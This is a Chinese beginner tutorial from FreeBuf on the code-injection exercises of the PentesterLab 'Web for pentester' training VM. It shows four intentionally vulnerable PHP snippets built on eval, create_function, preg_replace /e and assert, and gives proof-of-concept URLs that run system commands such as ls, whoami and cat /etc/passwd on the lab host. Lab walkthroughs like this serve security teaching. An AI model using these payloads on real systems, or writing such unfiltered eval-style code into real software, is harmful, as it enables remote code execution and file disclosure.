*本文作者:婷儿小跟班,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
Web for pentester 是国外安全研究者开发的的一款渗透测试平台。
这个平台包含的主要漏洞如下:
Code injection (代码注入) Commands injection(命令行注入) XSS(跨站脚本) SQL injections(sql注入) File include(文件包含) LDAP attacks(LDAP攻击) File Upload(文件上传) XML attacks(XML攻击)
个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab 的全套教程,PentesterLab 上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。
安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。
官网地址&下载地址
本文介绍Code injection的内容,其他模块教程会在后续给出。
php代码注入漏洞造成的主要原因是过滤不严格,造成恶意代码被执行。该漏洞主要是函数的参数过滤不严格所致,严重时可以直接写入webshell。
后端代码
<?php require_once("../header.php"); ?> <?php $str="echo /"Hello ".$_GET['name']."!!!/";"; //echo $str."<br>"; eval($str); ?> <?php require_once("../footer.php"); ?>
代码解释
php把获取到参数拼接进$str变量,然后eval()函数执行php语句。没有任何过滤,只要保证最后语法正确可以执行。
注: 注释掉的代码是我自己加上,你也可以自己加上,更直观一点,下面默认都是加上的。
这里有一点不知道大家注意到没,如果你构造的语句也有问题,网页就是报错,报错信息如下:
Parse error: syntax error, unexpected '<' in /var/www/codeexec/example1.php(13) : eval()'d code on line 1
暴露了当前php文件的绝对路径和报错函数,这也算是一条有用的信息吧。
利用方式
1. 执行系统命令
poc: http://192.168.199.110/codeexec/example1.php?name=%22.system(%27ls%27);// 注:敲黑板了,这里的`//`·是php里面的注释符号,注释掉后面的语句。 http://192.168.199.110/codeexec/example1.php?name=%22.system(%27ls%27);%20$a=%22 注:这样也是可以的啦,`;`表示一条单独的语句,后面的没用的赋值给一个变量来起到注释作用,这个sql注入里用and '1' = '1来闭合单引号是一样的道理。 上面的返回页面: echo "Hello ".system('ls'); $a="!!!"; example1.php example2.php example3.php example4.php index.html Hello index.html http://192.168.199.110/codeexec/example1.php?name=%22.system('cat /etc/passwd');// 查看系统关键文件
再次敲黑板
有些新同学可能要问了 echo "Hello ".system('ls');
这条语句中点号是字符串拼接,不是应该返回Hello+ls的结果吗?为什么这里面的返回值不是这样。这里我简单给新同学科普一下。
举个栗子:
echo '1+3='.1+3
输出结果是4
echo '1+3='.3+1
输出结果是2
上面可以看到php会先拼接字符串,然后强制转换成int型,然后运算输出结果。
拼接字符串得到 1+3=1
强制转换int型得到1,然后运算1+3得到4,所以输出结果就是4了,上面差不多就是这样,这方面就不要深究了,有输出就可以了。
后端代码
<?php require_once("../header.php") ?> <?php class User{ public $id, $name, $age; function __construct($id, $name, $age){ $this->name= $name; $this->age = $age; $this->id = $id; } } require_once('../header.php'); require_once('../sqli/db.php'); $sql = "SELECT * FROM users "; $order = $_GET["order"]; $result = mysql_query($sql); if ($result) { while ($row = mysql_fetch_assoc($result)) { $users[] = new User($row['id'],$row['name'],$row['age']); } if (isset($order)) { usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); } } ?> <table class='table table-striped' > <tr> <th><a href="example2.php?order=id">id</th> <th><a href="example2.php?order=name">name</th> <th><a href="example2.php?order=age">age</th> </tr> <?php foreach ($users as $user) { echo "<tr>"; echo "<td>".$user->id."</td>"; echo "<td>".$user->name."</td>"; echo "<td>".$user->age."</td>"; echo "</tr>"; } echo "</table>"; require '../footer.php'; ?> <?php require_once("../footer.php") ?>
代码分析
usort() 使用用户自定义的比较函数对数组进行排序。语法: usort(array,myfunction);
usort()经常与该功能create_function一起使用,以基于用户控制的信息动态生成“分类”功能。如果Web应用程序缺乏有效的筛选和验证,则可能导致代码执行。
所以我们把焦点放到这行代码上 usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
,可能新同学还说看不懂,别着急,先举个例子:
craete_function('$a','echo "hello".$a)
这个函数其实就相当于:
function Hello($a) { echo 'Hello'.$a; }
前面是函数变量部分,后面是代码部分,前面变量传给了后面的参数。
我们由浅入深再来看一个官方提供的例子:
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc"; echo $newfunc(2, M_E) . " "; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?>
是不是看着差不多?就是把前面的变量带入到后面代码中执行。
然后我们回头看一下源代码:
if (isset($order)) { usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); }
可以看到这里面唯一一个可控变量就是$order,这里自然而然就想到我们可以和sql注入一样去闭合前面语句然后插入我们想要执行的代码。
so,尝试闭合构造如下:
?order=id;}// 报错 Parse error: syntax error, unexpected ';'
我们可能少了一个或者多个括号。
?order=id);}// 警告 Warning: strcmp() expects exactly 2 parameters, 1 given
到报的不是语法错误,这个应该可行。
?order=id));}// 继续加括号,报错 Parse error: syntax error, unexpected ')'
应该是多括号的原因。
我们就知道如何闭合上面的代码并加上自己想要执行的代码,Warning只是一个警告,代码依旧会执行。
利用方法
poc:
查看phpinfo() http://192.168.199.110/codeexec/example2.php?order=id);}phpinfo();// 查看敏感文件passwd http://192.168.199.110/codeexec/example2.php?order=id);}system(cat%20/etc/passwd);//
后端代码
<?php require_once("../header.php"); ?> <?php echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]); ?> <?php require_once("../footer.php"); ?>
代码分析
preg_replace()函数:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。 $replacement: 用于替换的字符串或字符串数组。 $subject: 要搜索替换的目标字符串或字符串数组。 $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。 $count: 可选,为替换执行的次数。
这里的主要作用就是匹配base参数中是否有pattern有则替换成new。
打开连接url如下
http://192.168.199.110/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello%20lamer
带入preg_replace()函数的三个参数都是可控的,那要怎么利用呢?别急,先了解一下这个:
/e
修正符使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。
利用方法
了解了上面,我们给pattern参数加上 /e
修正符,并使得subject中有pattern的匹配,并把replacement改为 phpinfo()
。
构造poc如下:
http://192.168.199.110/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer
也可以执行system函数,poc如下:
http://192.168.199.110/codeexec/example3.php?new=system('ls')&pattern=/lamer/e&base=Hello%20lamer http://192.168.199.110/codeexec/example3.php?new=system('whoami')&pattern=/lamer/e&base=Hello%20lamer http://192.168.199.110/codeexec/example3.php?new=system(cat /etc/passwd)&pattern=/lamer/e&base=Hello%20lamer
注:php5.5版本以上 就废弃了 preg_replace
函数中 /e
这个修饰符 ,转而修改成 preg_replace _callback
后端代码
<?php require_once("../header.php"); // ensure name is not empty assert(trim("'".$_GET['name']."'")); echo "Hello ".htmlentities($_GET['name']); require_once("../footer.php"); ?>
代码分析
看到assert函数就要警惕了,和eval函数都是一句话后门程序。区别在于eval函数中参数是字符串,assert函数中的参数是表达式或者是函数。
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
htmlentities() 函数把字符串转换为HTML实体。
小技巧:加上单引号是语句报错会在报出单签绝对路径和报错函数。报错如下:
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4
利用方法
尝试构造相应的语句使上面语法正确,加上单引号报错,使用参数 hacker'.'
,语法正确,无报错产生,接着尝试把phpinfo()构造进去,得到poc如下:
http://192.168.199.110/codeexec/example4.php?name=hacker'.phpinfo().'
找到了语法的正确闭合方式,那我们也可以和上面一样查看 passwd
文件,poc:
http://192.168.199.110/codeexec/example4.php?name=hacker'.system(cat /etc/passwd).'
有人可能要问了代码注入和命令行注入有什么区别呢,个人感觉他们之间联系很大,代码注入涉及比较广泛,凡是由于过滤不严格或者是逻辑问题导致的可以插入恶意代码,都属于代码注入。而命令注入就局限于system函数的过滤不严格导致执行了系统命令。
总之就是代码注入主要是执行php代码,而命令注入主要是执行系统命令。
还有一点不知道大家注意到了没,就是有时候页面报错信息确实能给你提供很多有用的信息。
下次更新为Command injection ,因为这两个类比起来给容易学习。
最后如果你有更好的实现方法或者骚操作亦或者是我有不对需要改进的地方,欢迎大牛指出。如果有新同学哪个地方有疑问欢迎评论区提问,谢谢。
*本文作者:婷儿小跟班,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。